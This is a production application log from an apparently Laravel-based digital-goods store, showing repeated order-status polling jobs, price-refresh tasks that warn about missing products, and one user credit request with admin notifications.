[2026-03-24 02:04:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"cgIYnV6AduiYPNYt4nj8oQVqkSj2IAVB","execution_time":"2026-03-24 02:04:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 02:04:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"cgIYnV6AduiYPNYt4nj8oQVqkSj2IAVB","execution_time":"2026-03-24 02:04:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 02:04:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"cgIYnV6AduiYPNYt4nj8oQVqkSj2IAVB","execution_time":"2026-03-24 02:04:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 02:04:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"cgIYnV6AduiYPNYt4nj8oQVqkSj2IAVB","execution_time":"2026-03-24 02:04:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 02:04:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"cgIYnV6AduiYPNYt4nj8oQVqkSj2IAVB","execution_time":"2026-03-24 02:04:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 02:04:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"cgIYnV6AduiYPNYt4nj8oQVqkSj2IAVB","execution_time":"2026-03-24 02:04:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 02:04:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"cgIYnV6AduiYPNYt4nj8oQVqkSj2IAVB","execution_time":"2026-03-24 02:04:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 02:04:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"cgIYnV6AduiYPNYt4nj8oQVqkSj2IAVB","execution_time":"2026-03-24 02:04:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 02:05:02] production.INFO: Executing GetProducts task...  
[2026-03-24 02:05:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 02:05:02] production.INFO: Executing GetProducts task...  
[2026-03-24 02:05:04] production.INFO: async() رجع: true  
[2026-03-24 02:05:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 02:05:04] production.WARNING: Product with ID 395 not found  
[2026-03-24 02:05:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 02:05:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 02:05:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 02:05:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 02:05:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 02:05:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 02:05:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 02:05:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 02:05:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 02:06:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"TOoloDBIiU8ljjXSiQLydliWw0DwSbYe","execution_time":"2026-03-24 02:06:02"} 
[2026-03-24 02:06:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"TOoloDBIiU8ljjXSiQLydliWw0DwSbYe","execution_time":"2026-03-24 02:06:02","total_operations":4,"sites_count":1} 
[2026-03-24 02:06:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"TOoloDBIiU8ljjXSiQLydliWw0DwSbYe","execution_time":"2026-03-24 02:06:02","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 02:06:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"TOoloDBIiU8ljjXSiQLydliWw0DwSbYe","execution_time":"2026-03-24 02:06:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 02:06:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"TOoloDBIiU8ljjXSiQLydliWw0DwSbYe","execution_time":"2026-03-24 02:06:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 02:06:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"TOoloDBIiU8ljjXSiQLydliWw0DwSbYe","execution_time":"2026-03-24 02:06:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 02:06:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"TOoloDBIiU8ljjXSiQLydliWw0DwSbYe","execution_time":"2026-03-24 02:06:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 02:06:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"TOoloDBIiU8ljjXSiQLydliWw0DwSbYe","execution_time":"2026-03-24 02:06:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 02:06:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"TOoloDBIiU8ljjXSiQLydliWw0DwSbYe","execution_time":"2026-03-24 02:06:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 02:06:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"TOoloDBIiU8ljjXSiQLydliWw0DwSbYe","execution_time":"2026-03-24 02:06:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 02:06:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"TOoloDBIiU8ljjXSiQLydliWw0DwSbYe","execution_time":"2026-03-24 02:06:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 02:06:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"TOoloDBIiU8ljjXSiQLydliWw0DwSbYe","execution_time":"2026-03-24 02:06:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 02:08:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"JVNtLK3sM8MSsXCYiEwulEE3nw19E5bi","execution_time":"2026-03-24 02:08:03"} 
[2026-03-24 02:08:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"JVNtLK3sM8MSsXCYiEwulEE3nw19E5bi","execution_time":"2026-03-24 02:08:03","total_operations":4,"sites_count":1} 
[2026-03-24 02:08:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"JVNtLK3sM8MSsXCYiEwulEE3nw19E5bi","execution_time":"2026-03-24 02:08:03","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 02:08:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"JVNtLK3sM8MSsXCYiEwulEE3nw19E5bi","execution_time":"2026-03-24 02:08:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 02:08:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"JVNtLK3sM8MSsXCYiEwulEE3nw19E5bi","execution_time":"2026-03-24 02:08:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 02:08:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"JVNtLK3sM8MSsXCYiEwulEE3nw19E5bi","execution_time":"2026-03-24 02:08:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 02:08:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"JVNtLK3sM8MSsXCYiEwulEE3nw19E5bi","execution_time":"2026-03-24 02:08:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 02:08:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"JVNtLK3sM8MSsXCYiEwulEE3nw19E5bi","execution_time":"2026-03-24 02:08:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 02:08:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"JVNtLK3sM8MSsXCYiEwulEE3nw19E5bi","execution_time":"2026-03-24 02:08:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 02:08:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"JVNtLK3sM8MSsXCYiEwulEE3nw19E5bi","execution_time":"2026-03-24 02:08:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 02:08:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"JVNtLK3sM8MSsXCYiEwulEE3nw19E5bi","execution_time":"2026-03-24 02:08:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 02:08:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"JVNtLK3sM8MSsXCYiEwulEE3nw19E5bi","execution_time":"2026-03-24 02:08:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 02:10:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"jUZ6ogQCLwJ7ugP1I103MUb5c2hX0gag","execution_time":"2026-03-24 02:10:01"} 
[2026-03-24 02:10:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"jUZ6ogQCLwJ7ugP1I103MUb5c2hX0gag","execution_time":"2026-03-24 02:10:01","total_operations":4,"sites_count":1} 
[2026-03-24 02:10:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"jUZ6ogQCLwJ7ugP1I103MUb5c2hX0gag","execution_time":"2026-03-24 02:10:01","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 02:10:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"jUZ6ogQCLwJ7ugP1I103MUb5c2hX0gag","execution_time":"2026-03-24 02:10:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 02:10:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"jUZ6ogQCLwJ7ugP1I103MUb5c2hX0gag","execution_time":"2026-03-24 02:10:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 02:10:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"jUZ6ogQCLwJ7ugP1I103MUb5c2hX0gag","execution_time":"2026-03-24 02:10:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 02:10:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"jUZ6ogQCLwJ7ugP1I103MUb5c2hX0gag","execution_time":"2026-03-24 02:10:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 02:10:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"jUZ6ogQCLwJ7ugP1I103MUb5c2hX0gag","execution_time":"2026-03-24 02:10:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 02:10:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"jUZ6ogQCLwJ7ugP1I103MUb5c2hX0gag","execution_time":"2026-03-24 02:10:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 02:10:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"jUZ6ogQCLwJ7ugP1I103MUb5c2hX0gag","execution_time":"2026-03-24 02:10:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 02:10:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"jUZ6ogQCLwJ7ugP1I103MUb5c2hX0gag","execution_time":"2026-03-24 02:10:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 02:10:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"jUZ6ogQCLwJ7ugP1I103MUb5c2hX0gag","execution_time":"2026-03-24 02:10:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 02:10:01] production.INFO: Executing GetProducts task...  
[2026-03-24 02:10:01] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 02:10:01] production.INFO: Executing GetProducts task...  
[2026-03-24 02:10:03] production.INFO: async() رجع: true  
[2026-03-24 02:10:03] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 02:10:04] production.WARNING: Product with ID 395 not found  
[2026-03-24 02:10:04] production.WARNING: Product with ID 213 not found  
[2026-03-24 02:10:04] production.WARNING: Product with ID 212 not found  
[2026-03-24 02:10:04] production.WARNING: Product with ID 211 not found  
[2026-03-24 02:10:04] production.WARNING: Product with ID 210 not found  
[2026-03-24 02:10:04] production.WARNING: Product with ID 209 not found  
[2026-03-24 02:10:04] production.WARNING: Product with ID 214 not found  
[2026-03-24 02:10:04] production.WARNING: Product with ID 215 not found  
[2026-03-24 02:10:04] production.WARNING: Product with ID 216 not found  
[2026-03-24 02:10:04] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 02:12:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"592eJSzNpIyTccBcD75QVnb1YpklRvxq","execution_time":"2026-03-24 02:12:02"} 
[2026-03-24 02:12:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"592eJSzNpIyTccBcD75QVnb1YpklRvxq","execution_time":"2026-03-24 02:12:02","total_operations":4,"sites_count":1} 
[2026-03-24 02:12:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"592eJSzNpIyTccBcD75QVnb1YpklRvxq","execution_time":"2026-03-24 02:12:02","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 02:12:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"592eJSzNpIyTccBcD75QVnb1YpklRvxq","execution_time":"2026-03-24 02:12:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 02:12:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"592eJSzNpIyTccBcD75QVnb1YpklRvxq","execution_time":"2026-03-24 02:12:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 02:12:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"592eJSzNpIyTccBcD75QVnb1YpklRvxq","execution_time":"2026-03-24 02:12:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 02:12:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"592eJSzNpIyTccBcD75QVnb1YpklRvxq","execution_time":"2026-03-24 02:12:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 02:12:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"592eJSzNpIyTccBcD75QVnb1YpklRvxq","execution_time":"2026-03-24 02:12:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 02:12:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"592eJSzNpIyTccBcD75QVnb1YpklRvxq","execution_time":"2026-03-24 02:12:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 02:12:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"592eJSzNpIyTccBcD75QVnb1YpklRvxq","execution_time":"2026-03-24 02:12:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 02:12:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"592eJSzNpIyTccBcD75QVnb1YpklRvxq","execution_time":"2026-03-24 02:12:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 02:12:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"592eJSzNpIyTccBcD75QVnb1YpklRvxq","execution_time":"2026-03-24 02:12:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 02:14:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"Fk9KOyn4sBC3C9Ra0h5UXBdy821myioV","execution_time":"2026-03-24 02:14:02"} 
[2026-03-24 02:14:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"Fk9KOyn4sBC3C9Ra0h5UXBdy821myioV","execution_time":"2026-03-24 02:14:02","total_operations":4,"sites_count":1} 
[2026-03-24 02:14:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"Fk9KOyn4sBC3C9Ra0h5UXBdy821myioV","execution_time":"2026-03-24 02:14:02","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 02:14:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"Fk9KOyn4sBC3C9Ra0h5UXBdy821myioV","execution_time":"2026-03-24 02:14:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 02:14:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"Fk9KOyn4sBC3C9Ra0h5UXBdy821myioV","execution_time":"2026-03-24 02:14:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 02:14:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Fk9KOyn4sBC3C9Ra0h5UXBdy821myioV","execution_time":"2026-03-24 02:14:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 02:14:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Fk9KOyn4sBC3C9Ra0h5UXBdy821myioV","execution_time":"2026-03-24 02:14:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 02:14:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Fk9KOyn4sBC3C9Ra0h5UXBdy821myioV","execution_time":"2026-03-24 02:14:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 02:14:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Fk9KOyn4sBC3C9Ra0h5UXBdy821myioV","execution_time":"2026-03-24 02:14:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 02:14:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"Fk9KOyn4sBC3C9Ra0h5UXBdy821myioV","execution_time":"2026-03-24 02:14:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 02:14:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"Fk9KOyn4sBC3C9Ra0h5UXBdy821myioV","execution_time":"2026-03-24 02:14:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 02:14:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"Fk9KOyn4sBC3C9Ra0h5UXBdy821myioV","execution_time":"2026-03-24 02:14:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 02:15:02] production.INFO: Executing GetProducts task...  
[2026-03-24 02:15:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 02:15:02] production.INFO: Executing GetProducts task...  
[2026-03-24 02:15:04] production.INFO: async() رجع: true  
[2026-03-24 02:15:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 02:15:04] production.WARNING: Product with ID 395 not found  
[2026-03-24 02:15:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 02:15:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 02:15:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 02:15:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 02:15:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 02:15:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 02:15:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 02:15:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 02:15:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 02:16:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"HGezIDaOf648rOY1O3xs3UkAjktzpqCR","execution_time":"2026-03-24 02:16:02"} 
[2026-03-24 02:16:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"HGezIDaOf648rOY1O3xs3UkAjktzpqCR","execution_time":"2026-03-24 02:16:02","total_operations":4,"sites_count":1} 
[2026-03-24 02:16:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"HGezIDaOf648rOY1O3xs3UkAjktzpqCR","execution_time":"2026-03-24 02:16:02","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 02:16:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"HGezIDaOf648rOY1O3xs3UkAjktzpqCR","execution_time":"2026-03-24 02:16:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 02:16:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"HGezIDaOf648rOY1O3xs3UkAjktzpqCR","execution_time":"2026-03-24 02:16:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 02:16:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"HGezIDaOf648rOY1O3xs3UkAjktzpqCR","execution_time":"2026-03-24 02:16:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 02:16:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"HGezIDaOf648rOY1O3xs3UkAjktzpqCR","execution_time":"2026-03-24 02:16:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 02:16:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"HGezIDaOf648rOY1O3xs3UkAjktzpqCR","execution_time":"2026-03-24 02:16:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 02:16:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"HGezIDaOf648rOY1O3xs3UkAjktzpqCR","execution_time":"2026-03-24 02:16:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 02:16:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"HGezIDaOf648rOY1O3xs3UkAjktzpqCR","execution_time":"2026-03-24 02:16:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 02:16:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"HGezIDaOf648rOY1O3xs3UkAjktzpqCR","execution_time":"2026-03-24 02:16:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 02:16:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"HGezIDaOf648rOY1O3xs3UkAjktzpqCR","execution_time":"2026-03-24 02:16:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 02:16:10] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"1200.0","mainamount":"1200","operation_number":"157929572","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpoqjkpqimk10d2FKCuj6"}},"user_id":1703} 
[2026-03-24 02:16:11] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 02:16:11] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 02:16:11] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 02:16:11] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 02:16:11] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 02:16:11] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 02:16:11] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 02:16:11] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 02:16:11] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18597,"user_id":1703,"amount":1200.0,"admins_notified":7} 
[2026-03-24 02:18:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"k75PU3Rtp3P3YeEOGzBwmlqoMp5Pty3h","execution_time":"2026-03-24 02:18:03"} 
[2026-03-24 02:18:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"k75PU3Rtp3P3YeEOGzBwmlqoMp5Pty3h","execution_time":"2026-03-24 02:18:03","total_operations":4,"sites_count":1} 
